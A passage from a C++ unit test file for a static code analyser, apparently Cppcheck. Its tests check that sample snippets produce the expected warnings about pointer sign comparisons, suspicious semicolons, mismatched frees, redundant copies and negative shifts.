{}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 